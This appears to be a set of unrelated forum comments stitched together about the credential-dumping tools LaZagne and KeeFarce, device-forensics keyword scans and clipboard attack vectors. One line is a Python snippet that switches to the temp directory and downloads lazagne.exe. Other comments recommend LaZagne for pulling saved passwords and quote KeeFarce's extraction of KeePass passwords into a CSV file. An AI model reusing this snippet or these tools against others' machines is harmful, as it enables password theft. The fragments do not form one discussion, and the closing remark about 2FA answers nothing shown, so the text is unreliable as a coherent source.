LaZagne VS KeeFarce

I tried to use https://github.com/AlessandroZ/LaZagne but it only tried a dictionary of 500 passwords + tries to bruteforce 3 lenght passwords.

You can use Lazagne to get the passwords saved in browsers - https://github.com/AlessandroZ/LaZagne

temp_dire = tempfile.gettempdir() os.chdir(temp_dire) download("https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe")

It will basically do a search of the entire device, and in the case of computers (Windows at least) they will run benign malware on your system to retrieve passwords. This isn't fool proof and it will likely miss anything that wasn't saved in your browser (not including password managers thankfully). It will use keywords for fraud, child exploitation material, terrorism etc and where there is a match it will copy the file and save it for further analysis (if need be). Basically while the scan is happening and when its finished they will see a massive summary of thumbnails of every image and video you have for the analyst to then double check if anything bypassed the filter. It will also, based on keywords, show other files like documents that made a match. Note that the filter is also based on hash values as well as file names, but given the broad nature of keywords it will likely grab a lot of useless files - if you have the movie 'Baby Driver' on your computer, it will copy it and flag it as child exploitation material for example. I guess this shotgun approach is better than nothing.

If you logged in in your pc once it might still be on there somewhere, try using LaZagne (https://github.com/AlessandroZ/LaZagne)

inb4 KeeFarce. It's 7 years old and only works in specific situations.

> isn't securing this one major IMO attack vector an improvement over not doing anything about it

Unfortunately securing this attack vector is costly - in the sense of annoying the user with prompts and access grants.

This is why even on mobile as you noticed, only browsers require user confirmation before allowing webpages access to the clipboard.

You could maybe do something in between, like not allowing clipboard access to processes which don't have a foreground window visible to the user.

But in practice, this attack vector is not exploited. If you are targeted, it's much more likely that a specific attack against the password manager is used, since it will extract ALL passwords, and not need to wait for one to show up:

> KeeFarce allows for the extraction of KeePass 2.x password database information from memory. The cleartext information, including usernames, passwords, notes and url's are dumped into a CSV file in %AppData%

https://github.com/denandz/KeeFarce

I'm not sure how that defeats the purpose of 2FA. If anything, critical things like 2FA codes being stored locally on your device are more dangerous. Just because it's online doesn't mean it is suddenly insecure. By your logic, password managers being online and cross-platform are also somehow insecure, yet everybody expects those as the most basic features. I don't want to get into a long-winded, pointless "everything on the internet is insecure!" discussion, but I just don't see your point.